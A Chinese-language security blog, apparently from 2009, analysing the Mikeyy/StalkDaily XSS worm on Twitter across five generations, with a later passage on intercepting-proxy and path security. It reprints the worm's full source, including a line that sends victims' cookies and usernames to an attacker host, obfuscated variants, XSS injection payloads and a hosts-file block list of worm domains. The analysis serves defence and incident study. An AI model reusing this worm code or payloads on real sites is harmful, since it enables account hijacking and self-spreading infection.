昨天那篇的最後一句我們說:「twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。」結果不幸言中,昨晚Mikeyy蠕蟲之三代與四代(其實有五代)重現,造成另一波混亂,連TechCrunch也再度報導了一次(真難得一個資安事件連續兩天被TechCruch報導),並認為此事件會對twitter的聲譽造成嚴重的打擊。

我們觀察到的Mikeyy (StalkDaily)蠕蟲,其實有五個版本,後來的版本還用了特殊的混碼(obfuscation)。在這篇,我們第一次詳細地研究此蠕蟲。

[第一代Mikeyy(StalkDaily)]

第一代的蠕蟲沒有編碼,第78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊:


這根Mikeyy的說法,他並沒有偷盜使用者帳號,是不一樣的,事實上是有。另外,此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js,密碼也是回傳至mikeyylolz.uuuq.com。

第一代要攻擊弱點為「url」(web)與「location」等欄位之XSS(跨站腳本攻擊)漏洞:



此時受感染者會發出訊息包括:

randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";


[第二代Mikeyy(StalkDaily)]

第二代整隻經過自動工具兩層的混碼,真的很討厭。原始javascript(節錄):

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

脫第一層殼之後,可以看到(節錄):

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];

function XHConn(){
var _0x6687x2,_0x6687x3=false;
try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
catch(e) { _0x6687x2=false; }; }; };

此時由於mikeyylolz.uuuq.com被關閉,蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」,回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出,此時被感染的使用者,會被冒發下列訊息:

"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"

同時並可以看出,Mikeyy還是有偷使用者帳號與cookie,只是程式移到了wait()函式內。

此外,二代開始打不同的XSS(跨站腳本攻擊)弱點,包括「profile_background_tile」與「profile_link_color」等變數。

[第三代Mikeyy(StalkDaily)]

第三代與第二代大致上相同,唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉,故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」,並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。

一至三代共同點:
1. 皆會偷使用者帳號與cookie

一與二、三代不同點:
1. 一代無混碼,二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS(跨站腳本攻擊)弱點不同
4. 冒發之訊息不同

此三代twitter於星期天(亞洲時間)處理完畢並修正了XSS漏洞。

[第四代Mikeyy(StalkDaily)]

第四代於亞洲時間星期一晚上爆發,沒有編碼,主打「name」欄位的XSS(跨站腳本攻擊)弱點,該弱點當時twitter並未修復,蠕蟲再度快速擴散。此時特別的是,Mikeyy反正已經公開承認是蠕蟲他做的,也就不隱藏了,把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄:

randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

解出來為:

<script src="http://www.stalkdaily.com/ajax.js"></script>

第四代並將偷使用者帳號與cookie的程式移除了。

此時冒發的訊息為:

randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!! http://bit.ly/yCL1s";

[第五代Mikeyy(StalkDaily)]
很快地,Mikeyy散發出了第五代,此時亞洲也有使用者注意到了:



五代大致上與四代相同,唯加上了記錄使用者帳號的一行程式,但是跟一至三代不同,五代只記錄帳號,並未偷竊密碼,回報處也直接是「hxxp://www.stalkdaily.com/x.php」:

function wait()
{
var content = document.documentElement.innerHTML;

userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");

記錄被感染者帳號的「x.php」一開始時,會直接寫入http://www.stalkdaily.com/users.txt中,我們可以看到當時被感染的使用者帳號(目前twitter已經都處理完畢):



看到時,我決定跟Mikeyy打聲招呼,於是下了:「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...

可是reload users.txt,怎麼沒有出現呢?再下一次時,出現錯誤訊息:



原來Mikeyy改了x.php,不再寫到users.txt,改寫入mysql資料庫。

五代冒發之訊息只有一條:「Twitter, hire Mikeyy! (718)...」(推特,聘用Mikeyy!),後面是Mikeyy的電話,由於Mikeyy可能未成年,這邊就刪了。

[觀察]
觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中,twitter那時無法一下子把所有漏洞修完,故隔天讓四代與五代有機可乘

[建議被感染之使用者:]
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

作者 Wayne 為阿碼科技CEO

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」(本篇)
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

後記:
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja,昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼(變形)發表了第二篇關於Mikeyy蠕蟲之報告(前一天之報告在此):Twitter worm copycats,其中提及:這個手法跟我上星期介紹的變形手法如出一轍,他們在看SANS日誌嗎?
(are they reading the ISC diaries?)


這讓我想到之前我們寫的「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性」中,早在今年一月就率先分析該路由器蠕蟲之Teamfurry,在其最新的blog上指出,經過了三個月,PSYB0T已經有了演進,「應該是看到了Terry的blog」

非也,SANS的Bojan,錯了,Teamfurry的Terry,根據台灣某blogger,「駭客不會沒事看blog的」...

後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如上列。

繼續閱讀全文...

2009年4月12日

17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的

昨天晚上開始,twitter上以驚人的速度,不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了!」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告:




不久之後,twitter公佈,這是twitter的跨站腳本攻擊(cross-site scripting,XSS)漏洞所導致的,目前已經將漏洞修掉了:



事發初期,TechCrunch有報導(很少資安新聞能夠上TechCrunch),並有網友留言公開原始XSS蠕蟲之程式碼如下:

function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}

function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

function wait()
{
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);


這隻蠕蟲利用了twitter的XSS漏洞,感染twitter使用者profile的「location」或「web」欄位,寫入惡意javascript(來源:hxxp://http://mikeyylolz.uuuq.com/x.js)。這隻javascript一方面會已被感染之使用者帳號發出tweet,推「www.stalkdaily.com」這個網站,一方面則會在其他使用者瀏覽該profile時,成功感染並散播。

程式碼很短,我們來研究一下,重點從第73行開始。73-76行,利用regex找出該受害使用者之正確twitter帳號。78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊,以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位,插入惡意javascript,以感染其他使用者了。83行開始是一個wait()函式,要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session,應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時,都需要帶此變數。93-102行,內建了六個要以受害者名義發出之tweet,主要都是推「www.stalkdaily.com」這個網站,並隨機選一個tweet,準備發送。104行是實際的XSS攻擊碼,插入惡意javascript。106-109,四行的程式做了兩件事:a)透過twitter的HTTP POST介面,發出假tweet,以及b)同法,修改「web」,以便感染其他使用者。

我們複製該攻擊,並用paros觀察,確定可以成功,唯目前twitter已經將字串過濾,有效修補了此XSS漏洞:




這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號,並在該帳號之「web」欄位插入惡意javascript,並藉由該帳號發出一些吸引人之tweet,或開始跟隨別人。很多人會自動跟隨他們的跟隨者,所以你跟隨很多人之後,會自然有些人跟隨你,或至少會有人看一下你的profile,看看你是誰。一看你的profile,該使用者的「web」欄位就會被感染了,蠕蟲也就靠此散播。

根據網友在TechCrunch留言表示,該XSS漏洞於一星期前仍不存在,應該是最近twitter小幅改版造成的,沒想到很快就遭到利用。事發當初,StalkDaily於首頁上發表聲明,表示該站絕對與事件無關:



但是由於一下子感染太多人,一下子紙包不住火,很快地,StalkDaily的創辦人,17歲的Mikeyy Mooney就接受BNOnews採訪,承認是他寫的蠕蟲,同時也在網站登出了聲明:



報導中說,Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年,當時才19歲的Samy,也是寫了一隻類似(但較複雜)的蠕蟲,很快的在MySpace上散播,並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕,判三年緩刑與90天的社區服務。在OWASP US 2007會議上,OWASP有邀請Samy來演講,以下照片是演講完時Samy與阿碼同事討論的情形(上圖從左:阿碼Walter、Kuon、Jordan、Chris、Matt,白色衣服為Samy,下圖:阿碼Kuon送Samy一件armorize 31337 tshirt)。


Samy表示,那時他才19歲,為了跟女友打賭他可以在MySpace上擁有很多粉絲,將他設成英雄(Hero),但是又達不到,才突然想到不如寫隻程式作弊好了!當時Samy不懂資安,也不懂什麼是XSS弱點,只是稍微研究了一下MySpace,就發現有漏洞可以利用。蠕蟲出去後,很快地,Samy有了支持者,他們的profile上面加了一行:「Samy's my hero!(Samy是我的英雄)」。Samy得意了以後一想不對,這個蠕蟲的散播是exponential的,不是linear的,天哪!於是他趕快上MySpace,把自己的帳號刪除,但是結果發現MySpace說,帳號無法立即刪除,但是稍後會刪除。第二天起床,他連往自己的帳號,連不到,心想,好在好在,帳號刪除了,我沒事...但是結果連往女友的帳號,發現也連不上,後來發現所有朋友的帳號都連不上...原來MySpace當機了!Samy從此活在恐懼中,直到有一天,果然,他回家,就被秘密警察逮捕了。

Samy的並沒有被判很重的刑,因為他其實不懂資安,也沒有利用XSS弱點來偷別人的帳號,只是單純的把別人的帳號加了一行:Samy是我的英雄,並植入惡意javascript感染他人。當時他演講時,還是不能碰電腦的(只有工作時可以碰電腦),所以由OWASP工作人員幫他操作投影片。

這次Mikeyy Mooney比Samy更年輕,只有17歲,但是如果被逮捕,可能不一定這麼好過,因為程式碼中之地80行,明顯地是在偷他人的帳號與cookie,並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示,他是於一個星期前發現該XSS漏洞,並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時,他表示不確定,如果twitter的程式還不正確的處理變數,那就有可能。相對於那時純粹出於好玩而犯錯的Samy,Mikeyy的這些談話,加上剛才我在youtube上發現他之前就有把打其他站的過程上傳,我覺得...Mikeyy最好保重,我不認為法官會像Samy一樣處理Mikeyy,也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。

此外,根據蒐集的資料,Mikeyy後來也將該惡意javascript編碼,譬如以下tweet的回報:



解出來為content.ireel.com/xssjs.js,目前檔案還在,內容節錄如下:

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

單純16進位編碼,不是什麼特殊的混碼(obfuscation),解出來程式跟上面的大同小異。
此外,根據蒐集的資料,twitter很明顯地在不只一個欄位有XSS漏洞,而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。

結論:
1. 受感染之Twitter使用者會發出tweet,幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie(等同密碼)
3. 瀏覽受感染使用者之profile,就會被感染,並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞,並已經修復漏洞
5. 我們測試,攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有:
A. mikeyylolz.uuuq.com (已被停用)
B. content.ireel.com(還在)
C. omghax.uuuq.com(已被停用)
D. www.stalkdaily.com
E. bambamyo.110mb.com

建議被感染之使用者:
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞

作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友,我的中文twitter:http://twitter.com/waynehuang2
(以下為好友Jeremiah與RSnake(ha.ckers.org / sla.ckers.org)穿著「SAMY IS MY HERO(Samy是我的英雄)」Tshirt,於OWASP-WASC 2007與Samy的合照)

(來源:http://garrettgee.com


後記:Sans與F-Secure都出來講話了(連結),但是我們快一些 :)
後後記:不幸言中,Mikeyy四代與五代隔天爆發,見下一篇:「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節
後後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如下:

2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」(本篇)


繼續閱讀全文...

2009年4月4日

實際演練說明,你的路徑安全嗎?CERT: 攔截式代理伺服器有漏洞、SANS:小心你的路由器!


(本文中你將看到實際的演練,在真實的網路上,我們會示範如何藉由攔截式代理伺服器的漏洞,取得路由器與其他內網伺服器的管理介面與登入prompt。測試點不在台灣。)

這篇之中我們繼續討論路徑上之安全性,但開始之前,我們先做一下聲名。本文章宗旨在於探討在現今複雜之網路架構中之路徑安全性,內容與任何資安事件皆無關連性。三月初於台灣發生的大規模轉址事件,目前相關各單位與我們的結論大致一樣,我們的研究正確,TTL=7以下為攻擊發生點,但是TTL=7這台路由器並非屬於國內任何一家ISP所有。我們的研究一樣沒有指出責任歸屬,我們說過我們有興趣的是技術面。但是大家看到我們公佈的IP可能就開始猜測是哪家ISP。攻擊者位於路徑border沒有錯(就是不同ISP交會處),而在border上的路由器一般都有多個介面,各對應不同ISP所給的IP,我們從台灣trace,看到的介面IP會屬國內ISP沒有錯,但是並不表示此台路由器就歸國內ISP所管。事實上如果各位看我們當初traceroute畫面上的時間差就可以發現,TTL=7應該已經出台灣了,事後經過求證也如此。所以如果把矛頭轉向國內ISP並不正確。另外也不表示是路由器出問題,只確定是TTL=7那台路由器以下都有可能,但是絕不像其他專家所說,是ARP掛馬以及發生點位於網站端。當然我們也得知了,出問題之設備為網路設備但是非路由器,至於究竟是那個廠牌的什麼設備,這邊就不繼續討論了。我們的研究價值,主要不在於探討究竟是國內還是國外的ISP出問題,還是哪一家設備商的產品出問題,我們是在探討,究竟威脅存在於哪裡?駭客可以使用哪些技術?

那時根據我們的經驗,以及最近SANS,CERT以及各知名資安專家近期的研究,懷疑的威脅包括了:
(1). ARP 掛馬,發生於網站端
(2). 路由器出問題
(3). 路徑中的proxy出問題或cache被poison
(4). 其他L3或L4 switch出問題
(5). 流量被mirror到的其他地方(IDS、流量統計設備等)被ARP掛馬

但是後來經過種種實際的封包實驗與分析,先排出了(1),後來又排除了(2)與(5)。至於到底起因為何,由於後來事件不是我們調查的,我們不適合發表,只能說,事件發生點在TTL=7以下,但TTL=7已經不在台灣。ARP掛馬由於用在乙太網路上,唯一般人很容易接觸到的攻擊,但是資安專家看得面象要夠廣,並根據實際測試或證據來判斷威脅。2008開始,路徑上的威脅與研究都明顯增加,CERT、SANS、各資安研究員都不斷發表報告或警訊。會猜測是ARP掛馬,主要原因是ARP掛馬攻擊實在太氾濫了。但是同時,駭客要改網路設備的設定來mirror流量,其實並不難,若注意最近國外知名研究員,CERT,SANS都在說路由器怎麼被感染的。網路上攻擊形形色色,無時無刻在進行,駭客無時無刻在進步。由於種種ARP工具,隨處都抓得到,也隨處都能玩(有乙太網路就好),於是之後的直接反應就是,各種轉址綁架攻擊,都一定是ARP掛馬所致,而當我們說可能是路由器出問題,或路徑上其他設備出問題時,則表示不可思議,路由器怎麼被入侵?感染?有這種技術嗎?路由器可以mirror traffic?L4/L7 switch會被入侵?

[SANS: 小心你的路由器!]

的確,路徑上的種種設備,不是一般人容易接觸到的,我們也常覺得自己研究起來辛苦,跟在電信業上班,每天穿梭機房的工程師比起來,我們對於網路的熟悉度要弱很多...但是至少我們也摸了不少,見了不少,透過關係「借測」了不少,並且常做功課。因為如果覺得駭客只會乙太網路上的一些普遍的基本功,那就太小看駭客了。各位不知是否還記得2007年被判刑入獄的23歲路由器駭客Robert Moore的名言:「It's so easy. It's so easy a caveman can do it(太容易了,野人都會)」。Robert專門入侵VoIP路由器,然後販賣頻寬獲利,入獄前一共駭了15家VoIP ISP業者。他受訪時表示,大約45%到50%的VoIP業者的網路都是不安全的。最大的問題在哪?「我會說,85%的問題出在沒有設定好的路由器,很多設備都用了內定的密碼(I'd say 85% of them were misconfigured routers. They had the default passwords on them)」。「你不會相信網路上有多少路由器的密碼是"admin"或"Cisco0"」,他說。三月30日,SANS發佈警訊,標題是「小心你的路由器!(Watch your Internet routers!)」,報告中詳細介紹了剛發生的一個剛發生的路由器入侵事件(這裡指的是企業級路由器,非之前我們提的家用路由器感染事件),並說:「他連進來還沒五分鐘,已經建好一個tunnel回他家了(Barely five minutes after connecting, and he has configured a network tunnel back to his home base.)」。修改網路設備的設定,開tunnel,其實做過的人就知道,可能比執行zxarps還要容易,也不太會增加設備的loading,只是一般人不容易玩到就是了。

[CERT與SANS: 攔截式代理伺服器有漏洞]

2009年三月初,台灣與新加坡之間有流量被綁架,而由於二月底時,CERT針對攔截式代理伺服器有公佈警告:「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections(VU#435052)」 ,於是我們做了一些測試,並發現了路徑上的一些問題。後來根據我們做的種種測試與研究,我們的結論是,以下探討的「攔截式代理伺服器」漏洞,不太可能與轉址事件有關連。在事件過後,我們覺得當初做的研究仍有參考價值,故在週末抽空記錄一下當時的研究。我們這篇以探討技術為主,我們拿來實測的有弱點的proxy,依了解並不位於國內。

當初對CERT這篇有興趣,主要是CERT中列了許多大廠牌的代理伺服器,都還是有此問題,而我們記得此問題在2002年時就已經炒熱,沒想到事隔多年,問題並沒有改,而今年又吸引了研究人員的注意。我們先直接來看這個威脅究竟在講什麼。現在的網路環境複雜,不但有各家專做content delivery network(CDN)的廠商如AkamaiAmazon CloudFront等負責幫各大網站在世界各地提供資料,路徑中也有各式的攔截式代理伺服器(intercepting proxy)、透通式伺服器(transparent proxy)、L4/L7 switch等設備。對於常常出差的我們來說,常可以感受得出把資料放在CDN上的方便性。有使用類似技術的大站如Google、MySpace、Amazon或甚至BestBuy等,不論在哪裡(例如印度偏遠地區),當別的網站變成龜速時,這些架構於CDN上之網站,總是能維持相當的速度;網路不穩無法連回公司mail server時,就立刻感受gmail之好用。各地的ISP也為了降低長距離的流量,而建置了各式的L4/L7 switch,WCCP路由器,Web加速器(cache),代理伺服器等等。在方便之餘,也不禁讓我們想到,我們在網路上做這麼多事情時,我們的資料到底經過了誰?我們接收的資料又來自誰?譬如這次三月份台灣大規模轉址攻擊事件,其實我個人並不在意被轉址到惡意網站,反正我有很多保護措施(而且我們的工作本來每天就接觸許多惡意網站),但是攻擊者明顯可以看到我的流量,這是我很在意的。攻擊程式如果沒有解除,而只是不主動送假封包轉址,而改成監聽流量,那麼平時上網時之心理壓力就會倍增了。

今年路徑安全之研究真的很紅,上,今年(2009)三月16-20於溫哥華舉辦的CanSecWest 2009資安會議上(投影片下載),Dan Kaminsky講的,就是有關路徑安全的研究。去年因為在BlackHat / DEFCON 2008上公開DNS漏洞之超級紅人Dan Kaminsky(這裡有我們的報導,另外其實他一直很紅),於會前(三月9日)在他的部落格上說:「似乎我們在2000-2002年間做了很多相關(網路層)的研究,然後...我們好像就停止了。今年在我的CanSecWest演講中,我就要來討論在deep packet inspection的年代的中間人威脅(paper:WORD下載PDF下載)...從位於路徑中的設備(middle of networks)上,我看到了種種的威脅」。隔一天,SANS立刻針對此發出警告:「Browser plug-ins, transparent proxies and same origin policies」

